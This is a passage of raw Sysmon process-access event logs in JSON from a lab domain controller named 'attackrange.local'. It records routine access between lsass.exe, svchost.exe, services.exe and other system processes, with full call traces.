11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00103B0F0200}\r\nTargetProcessId: 2700\r\nTargetImage: C:\\Windows\\System32\\ismserv.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00103B0F0200}","TargetProcessId":"2700","TargetImage":"C:\\Windows\\System32\\ismserv.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\S